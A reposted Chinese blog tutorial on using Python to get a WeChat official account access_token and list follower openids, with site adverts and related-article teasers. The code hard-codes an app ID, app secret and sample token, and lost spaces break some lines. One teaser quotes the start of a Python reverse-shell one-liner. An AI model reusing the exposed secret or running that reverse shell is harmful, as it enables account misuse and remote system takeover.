python如何获取公众号下面粉丝的openid

摘要:
如何获取公众号下面粉丝的openid呢,首先要获取一个access_token,这个token可不是令牌,如何获取这个access_token呢?

如何获取公众号下面粉丝的openid呢,首先要获取一个access_token,这个token可不是令牌(Token),如何获取这个access_token呢?有两种方法,方法如下:

#-*- coding: cp936 -*-
#python 27
#xiaodeng
#原文https://www.cnblogs.com/dengyg200891/p/5094419.html
#获取微信access_token
#办法一:将该url直接填写到浏览器地址中可以获得access_token
url='https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=wxc0f4d0ed1cb2f4e1&secret=c4d72d33cacf8c94845ac906ad60eed6'
#办法二
importurllib
url='https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential'#grant_type为固定值
data={'appid':'wxc0f4d0ed1cb2f4e1',
      'secret':'c4d72d33cacf8c94845ac906ad60eed6'}
data=urllib.urlencode(data)
html=urllib.urlopen(url,data)#<addinfourl at 34758208 whose fp = <socket._fileobject object at 0x0212F570>>
html=html.read()
printhtml
'''
{"access_token":"Isd_tm3QE8Kateyxjz_WEEXuerBZ0gnO6XwyjirZXY1umVIDqebi6GK2Zv2fv1hI7sXQfHXeaOa2A4XrOITwS5LnczFRXf4BbSnMdSRLKiwBQYgADASHP",
"expires_in":7200}  #expires_in,定义access_token有效时间,单位为秒
'''

注意:获取access_token需要在微信公众号管理汇总设置一下白名单,否则在本地无法获取

接下来就可以进行获取openid的操作了,下面代码源自https://blog.csdn.net/qq1752506968/article/details/81164947

importrequests,json
access_token='相关公众号的token' #未认证的订阅号不能获取,也就是没有权限获取粉丝openid
next_openid=''
url='https://api.weixin.qq.com/cgi-bin/user/get?access_token=%s&next_openid=%s'%(access_token,next_openid)
ans=requests.get(url)
#print(ans.content)
a=json.loads(ans.content)['data']['openid']
print (a,len(a))

免责声明:文章转载自《python如何获取公众号下面粉丝的openid》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇本机部署流程详解垃圾收集器下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

豆瓣客户端(二)获取用户信息和搜索用户

之前写了豆瓣客户端(一)获取授权码和访问令牌后,就开始学习iOS7 TextKit方面的内容了,在前两天看Text Kit 看得无聊以后,又再回来写自己一直都很感兴趣的豆瓣客户端。途中遇到了各种各样的问题,先来小小吐槽一下:豆瓣的开发文档真是坑爹极了,基本上没有步骤可言,有时候就是一句带过,来个只能意会不能言传,难怪那么少人做豆瓣客户端,可能这个客户端赚不...

python逆向工程:通过代码生成类图

python逆向工程:通过代码生成类图 大致过程 现在有一个core包,里面有python的代码。 通过core包,生成python的类图,如下: 实施步骤: 1、首先安装graphviz,一个画图工具,地址为:http://www.graphviz.org/pub/graphviz/stable/windows/graphviz-2.28.0.msi...

python之tkinter使用-简单对话框

1 # 简单对话框,包括字符、整数和浮点数 2 import tkinter as tk 3 from tkinter import simpledialog 4 5 6 def input_str(): 7 r = simpledialog.askstring('字符录入', '请输入字符', initialvalu...

python正则表达式匹配中文日期时间

今天分享一个Python正则表达式匹配日期与时间的方法,因为最近在做的项目需要从字符串里面把日期时间提取出来。 不多说,直接上代码: import re from datetime import datetime #python正则表达式匹配中文日期时间 test_date = '他的生日是2016-12-12 14:34,是个可爱的小宝贝.二宝的生日...

记一次对python反弹shell的分析

前言 昨天学习了反弹shell,对python弹shell产生了一些疑惑 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); o...

Shell基本命令

Linux命令行的组成结构 [root@oldboy_python ~]# [root@oldboy_python ~]# [root@oldboy_python ~]# [root@oldboy_python ~]# [root@oldboy_python ~]# Linux系统命令操作语法格式 命令 空格 参数 空格 【文件或路径】需要...